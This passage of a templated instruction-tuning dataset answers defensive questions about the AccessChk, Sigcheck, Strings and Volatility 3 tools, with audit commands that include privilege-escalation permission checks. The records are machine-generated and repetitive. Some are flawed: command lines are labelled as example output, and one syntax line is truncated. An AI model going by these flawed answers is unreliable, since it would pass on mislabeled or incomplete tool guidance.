"2025-12-18T00:11:32.023002Z"} +{"id": "trtp-6ff0582341e2", "instruction": "What is AccessChk and how is it used in security?", "output": "AccessChk\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\nPlatform: windows\n\nCommon uses:\n- Audit permissions\n- Find privilege escalation paths\n- Check service misconfigurations\n- Verify access controls", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023275Z", "updated_at": "2025-12-18T00:11:32.023275Z"} +{"id": "trtp-25a42d96a33c", "instruction": "What is the syntax for AccessChk?", "output": "Syntax for AccessChk:\n\naccesschk64.exe [options] [object]\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023288Z", "updated_at": "2025-12-18T00:11:32.023288Z"} +{"id": "trtp-d8b4f01fec9c", "instruction": "Provide an example of using AccessChk.", "output": "Example of AccessChk:\n\n```\n# Check service permissions (privesc check)\naccesschk64.exe -uwcqv \"Authenticated Users\" *\n\n# Check folder permissions\naccesschk64.exe -dqv \"C:\\Program Files\"\n\n# Check registry permissions\naccesschk64.exe -kvuqsw HKLM\\SOFTWARE\n```\n\nInterpretation: RW = Read/Write, SERVICE_ALL_ACCESS = full service control, KEY_ALL_ACCESS = full registry access", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023300Z", "updated_at": "2025-12-18T00:11:32.023300Z"} +{"id": "trtp-9190b0d9bb61", "instruction": "Give me a practical example of AccessChk.", "output": "Here is a practical example of AccessChk:\n\n```\n# Check service permissions (privesc check)\naccesschk64.exe -uwcqv \"Authenticated Users\" *\n\n# Check folder permissions\naccesschk64.exe -dqv \"C:\\Program Files\"\n\n# Check registry permissions\naccesschk64.exe -kvuqsw HKLM\\SOFTWARE\n```\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023316Z", "updated_at": "2025-12-18T00:11:32.023316Z"} +{"id": "trtp-7318d18a8152", "instruction": "When should I use AccessChk?", "output": "Use cases for AccessChk:\n\n- Audit permissions\n- Find privilege escalation paths\n- Check service misconfigurations\n- Verify access controls\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023328Z", "updated_at": "2025-12-18T00:11:32.023328Z"} +{"id": "trtp-6e561b9335b2", "instruction": "Explain the output of AccessChk.", "output": "Interpreting AccessChk output:\n\nRW = Read/Write, SERVICE_ALL_ACCESS = full service control, KEY_ALL_ACCESS = full registry access\n\nExample output:\n```\n# Check service permissions (privesc check)\naccesschk64.exe -uwcqv \"Authenticated Users\" *\n\n# Check folder permissions\naccesschk64.exe -dqv \"C:\\Program Files\"\n\n# Check registry permissions\naccesschk64.exe -kvuqsw HKLM\\SOFTWARE\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023352Z", "updated_at": "2025-12-18T00:11:32.023352Z"} +{"id": "trtp-fa8578fd0c8f", "instruction": "What best practices should I follow when using AccessChk?", "output": "Tips for using AccessChk:\n\n- Check services writable by non-admins\n- Look for weak folder permissions\n- Part of Windows PrivEsc methodology\n\nUseful for: Audit permissions, Find privilege escalation paths, Check service misconfigurations", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023365Z", "updated_at": "2025-12-18T00:11:32.023365Z"} +{"id": "trtp-d52f81b19683", "instruction": "What should I look for when using AccessChk for incident response?", "output": "Using AccessChk for threat detection:\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\nExample:\n```\n# Check service permissions (privesc check)\naccesschk64.exe -uwcqv \"Authenticated Users\" *\n\n# Check folder permissions\naccesschk64.exe -dqv \"C:\\Program Files\"\n\n# Check registry permissions\naccesschk64.exe -kvuqsw HKLM\\SOFTWARE\n```\n\nTips:\n- Check services writable by non-admins\n- Look for weak folder permissions", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023386Z", "updated_at": "2025-12-18T00:11:32.023386Z"} +{"id": "trtp-11e9a4af215c", "instruction": "What evidence can AccessChk help uncover?", "output": "Forensic analysis with AccessChk:\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\nForensic applications:\n- Audit permissions\n- Find privilege escalation paths\n- Check service misconfigurations\n\nWhat to look for: RW = Read/Write, SERVICE_ALL_ACCESS = full service control, KEY_ALL_ACCESS = full registry access", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023398Z", "updated_at": "2025-12-18T00:11:32.023398Z"} +{"id": "trtp-971e3f483f8f", "instruction": "What's the process for analyzing data with AccessChk?", "output": "Workflow for AccessChk:\n\n1. Understand the context: AccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\n2. Apply the tool:\n```\n# Check service permissions (privesc check)\naccesschk64.exe -uwcqv \"Authenticated Users\" *\n\n# Check folder permissions\naccesschk64.exe -dqv \"C:\\Program Files\"\n\n# Check registry permissions\naccesschk64.exe -kvuqsw HKLM\\SOFTWARE\n```\n\n3. Common scenarios: Audit permissions, Find privilege escalation paths, Check service misconfigurations\n\n4. Best practices:\n - Check services writable by non-admins\n - Look for weak folder permissions", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023422Z", "updated_at": "2025-12-18T00:11:32.023422Z"} +{"id": "trtp-4b2cc9510367", "instruction": "What makes AccessChk useful for this task?", "output": "Advantages of AccessChk:\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\nBest suited for:\n- Audit permissions\n- Find privilege escalation paths\n- Check service misconfigurations\n- Verify access controls\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023435Z", "updated_at": "2025-12-18T00:11:32.023435Z"} +{"id": "trtp-7b88aaf89a82", "instruction": "How do I use AccessChk alongside other tools in my toolkit?", "output": "Integration points for AccessChk:\n\nAccessChk displays effective permissions and access rights for files, directories, registry keys, services, and processes. Essential for privilege escalation auditing.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-accesschk", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023250Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023459Z", "updated_at": "2025-12-18T00:11:32.023459Z"} +{"id": "trtp-6efe548cfbb8", "instruction": "What do I need to know about Sigcheck?", "output": "Sigcheck\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\nPlatform: windows\n\nCommon uses:\n- Verify digital signatures\n- Check VirusTotal detections\n- Find unsigned executables\n- Validate binary integrity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023794Z", "updated_at": "2025-12-18T00:11:32.023794Z"} +{"id": "trtp-a64ce916ce65", "instruction": "How do I use Sigcheck?", "output": "Syntax for Sigcheck:\n\nsigcheck64.exe [options] target\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023817Z", "updated_at": "2025-12-18T00:11:32.023817Z"} +{"id": "trtp-78d3ece5224f", "instruction": "Provide an example of using Sigcheck.", "output": "Example of Sigcheck:\n\n```\n# Check signature\nsigcheck64.exe suspicious.exe\n\n# Check against VirusTotal\nsigcheck64.exe -v -vt suspicious.exe\n\n# Check all unsigned executables in folder\nsigcheck64.exe -u -e C:\\Windows\\System32\n```\n\nInterpretation: Verified=Signed, Not Verified=Unsigned or invalid. VT detection ratio shows AV hits.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023837Z", "updated_at": "2025-12-18T00:11:32.023837Z"} +{"id": "trtp-5238a442d0a3", "instruction": "In what scenarios is Sigcheck useful?", "output": "Use cases for Sigcheck:\n\n- Verify digital signatures\n- Check VirusTotal detections\n- Find unsigned executables\n- Validate binary integrity\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023849Z", "updated_at": "2025-12-18T00:11:32.023849Z"} +{"id": "trtp-67ba717aae08", "instruction": "How do I read Sigcheck output?", "output": "Interpreting Sigcheck output:\n\nVerified=Signed, Not Verified=Unsigned or invalid. VT detection ratio shows AV hits.\n\nExample output:\n```\n# Check signature\nsigcheck64.exe suspicious.exe\n\n# Check against VirusTotal\nsigcheck64.exe -v -vt suspicious.exe\n\n# Check all unsigned executables in folder\nsigcheck64.exe -u -e C:\\Windows\\System32\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023868Z", "updated_at": "2025-12-18T00:11:32.023868Z"} +{"id": "trtp-061c04503308", "instruction": "What are common tips for Sigcheck?", "output": "Tips for using Sigcheck:\n\n- Unsigned system files are suspicious\n- Combine with baseline comparison\n- Use -u to find only unsigned files\n\nUseful for: Verify digital signatures, Check VirusTotal detections, Find unsigned executables", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023884Z", "updated_at": "2025-12-18T00:11:32.023884Z"} +{"id": "trtp-19067b775fc5", "instruction": "How do I use Sigcheck for threat detection?", "output": "Using Sigcheck for threat detection:\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\nExample:\n```\n# Check signature\nsigcheck64.exe suspicious.exe\n\n# Check against VirusTotal\nsigcheck64.exe -v -vt suspicious.exe\n\n# Check all unsigned executables in folder\nsigcheck64.exe -u -e C:\\Windows\\System32\n```\n\nTips:\n- Unsigned system files are suspicious\n- Combine with baseline comparison", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023897Z", "updated_at": "2025-12-18T00:11:32.023897Z"} +{"id": "trtp-f9730693b963", "instruction": "How do forensic investigators use Sigcheck?", "output": "Forensic analysis with Sigcheck:\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\nForensic applications:\n- Verify digital signatures\n- Check VirusTotal detections\n- Find unsigned executables\n\nWhat to look for: Verified=Signed, Not Verified=Unsigned or invalid. VT detection ratio shows AV hits.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023915Z", "updated_at": "2025-12-18T00:11:32.023915Z"} +{"id": "trtp-3f19ce0a786c", "instruction": "How do I incorporate Sigcheck into my security workflow?", "output": "Workflow for Sigcheck:\n\n1. Understand the context: Sigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\n2. Apply the tool:\n```\n# Check signature\nsigcheck64.exe suspicious.exe\n\n# Check against VirusTotal\nsigcheck64.exe -v -vt suspicious.exe\n\n# Check all unsigned executables in folder\nsigcheck64.exe -u -e C:\\Windows\\System32\n```\n\n3. Common scenarios: Verify digital signatures, Check VirusTotal detections, Find unsigned executables\n\n4. Best practices:\n - Unsigned system files are suspicious\n - Combine with baseline comparison", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023929Z", "updated_at": "2025-12-18T00:11:32.023929Z"} +{"id": "trtp-b0f0bc019312", "instruction": "What makes Sigcheck useful for this task?", "output": "Advantages of Sigcheck:\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\nBest suited for:\n- Verify digital signatures\n- Check VirusTotal detections\n- Find unsigned executables\n- Validate binary integrity\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023950Z", "updated_at": "2025-12-18T00:11:32.023950Z"} +{"id": "trtp-9b6132ec8c6e", "instruction": "How does Sigcheck integrate with other security tools?", "output": "Integration points for Sigcheck:\n\nSigcheck verifies digital signatures and displays version information for executables. Can check files against VirusTotal. Useful for validating binary authenticity.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-sigcheck", "license": "original", "retrieved_at": "2025-12-18T00:11:32.023764Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023966Z", "updated_at": "2025-12-18T00:11:32.023966Z"} +{"id": "trtp-1c1b999c8286", "instruction": "Explain Strings for security professionals.", "output": "Strings Utility\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\nPlatform: windows\n\nCommon uses:\n- Extract IOCs from malware\n- Find embedded URLs\n- Identify configuration data\n- Quick malware triage", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024232Z", "updated_at": "2025-12-18T00:11:32.024232Z"} +{"id": "trtp-e7a37f403208", "instruction": "Show me the basic syntax for Strings.", "output": "Syntax for Strings:\n\nstrings64.exe [options] file\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024245Z", "updated_at": "2025-12-18T00:11:32.024245Z"} +{"id": "trtp-734ad21ca506", "instruction": "Demonstrate Strings Utility with an example.", "output": "Example of Strings Utility:\n\n```\n# Extract ASCII strings\nstrings64.exe malware.exe\n\n# Extract Unicode strings\nstrings64.exe -u malware.exe\n\n# Minimum length 10\nstrings64.exe -n 10 malware.exe\n```\n\nInterpretation: Output shows extracted strings - look for URLs, IPs, file paths, commands", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024263Z", "updated_at": "2025-12-18T00:11:32.024263Z"} +{"id": "trtp-dd4699058aea", "instruction": "What security tasks can I accomplish with Strings?", "output": "Use cases for Strings:\n\n- Extract IOCs from malware\n- Find embedded URLs\n- Identify configuration data\n- Quick malware triage\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024275Z", "updated_at": "2025-12-18T00:11:32.024275Z"} +{"id": "trtp-6f5ca7304e66", "instruction": "What do the results from Strings mean?", "output": "Interpreting Strings output:\n\nOutput shows extracted strings - look for URLs, IPs, file paths, commands\n\nExample output:\n```\n# Extract ASCII strings\nstrings64.exe malware.exe\n\n# Extract Unicode strings\nstrings64.exe -u malware.exe\n\n# Minimum length 10\nstrings64.exe -n 10 malware.exe\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024299Z", "updated_at": "2025-12-18T00:11:32.024299Z"} +{"id": "trtp-f1257566c366", "instruction": "What are common tips for Strings?", "output": "Tips for using Strings:\n\n- Packed malware has few strings\n- Look for http://, .exe, cmd.exe patterns\n- Combine with YARA for pattern matching\n\nUseful for: Extract IOCs from malware, Find embedded URLs, Identify configuration data", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024311Z", "updated_at": "2025-12-18T00:11:32.024311Z"} +{"id": "trtp-a67b9770c492", "instruction": "What should I look for when using Strings for incident response?", "output": "Using Strings for threat detection:\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\nExample:\n```\n# Extract ASCII strings\nstrings64.exe malware.exe\n\n# Extract Unicode strings\nstrings64.exe -u malware.exe\n\n# Minimum length 10\nstrings64.exe -n 10 malware.exe\n```\n\nTips:\n- Packed malware has few strings\n- Look for http://, .exe, cmd.exe patterns", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024330Z", "updated_at": "2025-12-18T00:11:32.024330Z"} +{"id": "trtp-fd553dea15f1", "instruction": "What artifacts does Strings analyze?", "output": "Forensic analysis with Strings:\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\nForensic applications:\n- Extract IOCs from malware\n- Find embedded URLs\n- Identify configuration data\n\nWhat to look for: Output shows extracted strings - look for URLs, IPs, file paths, commands", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024342Z", "updated_at": "2025-12-18T00:11:32.024342Z"} +{"id": "trtp-d8272cbef40f", "instruction": "What is the typical workflow for using Strings?", "output": "Workflow for Strings Utility:\n\n1. Understand the context: Strings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\n2. Apply the tool:\n```\n# Extract ASCII strings\nstrings64.exe malware.exe\n\n# Extract Unicode strings\nstrings64.exe -u malware.exe\n\n# Minimum length 10\nstrings64.exe -n 10 malware.exe\n```\n\n3. Common scenarios: Extract IOCs from malware, Find embedded URLs, Identify configuration data\n\n4. Best practices:\n - Packed malware has few strings\n - Look for http://, .exe, cmd.exe patterns", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024366Z", "updated_at": "2025-12-18T00:11:32.024366Z"} +{"id": "trtp-cb39d344fbc6", "instruction": "When should I use Strings versus other similar tools?", "output": "Advantages of Strings:\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\nBest suited for:\n- Extract IOCs from malware\n- Find embedded URLs\n- Identify configuration data\n- Quick malware triage\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024402Z", "updated_at": "2025-12-18T00:11:32.024402Z"} +{"id": "trtp-362c565001a1", "instruction": "Can Strings be combined with other analysis methods?", "output": "Integration points for Strings:\n\nStrings extracts printable ASCII and Unicode strings from binary files. Quick way to find URLs, file paths, registry keys, and other indicators in malware.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-strings-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024199Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024424Z", "updated_at": "2025-12-18T00:11:32.024424Z"} +{"id": "trtp-e1026256cb02", "instruction": "Describe Volatility 3 Overview.", "output": "Volatility 3 Overview\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, and registry hives. Complete rewrite from Volatility 2 with Python 3 support.\n\nPlatform: cross-platform\n\nCommon uses:\n- Incident response\n- Malware analysis\n- Forensic investigation\n- Threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024796Z", "updated_at": "2025-12-18T00:11:32.024796Z"} +{"id": "trtp-abb026039610", "instruction": "Show me the basic syntax for Volatility 3.", "output": "Syntax for Volatility 3:\n\nvol -f \n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, and registry hives. Complete rewrite from Volatility 2 with Python 3 support.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024811Z", "updated_at": "2025-12-18T00:11:32.024811Z"} +{"id": "trtp-90c63d73b01a", "instruction": "Give me a practical example of Volatility 3.", "output": "Example of Volatility 3 Overview:\n\n```\nvol -f memory.dmp windows.pslist\n```\n\nInterpretation: Output varies by plugin - typically tabular data with relevant artifacts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": 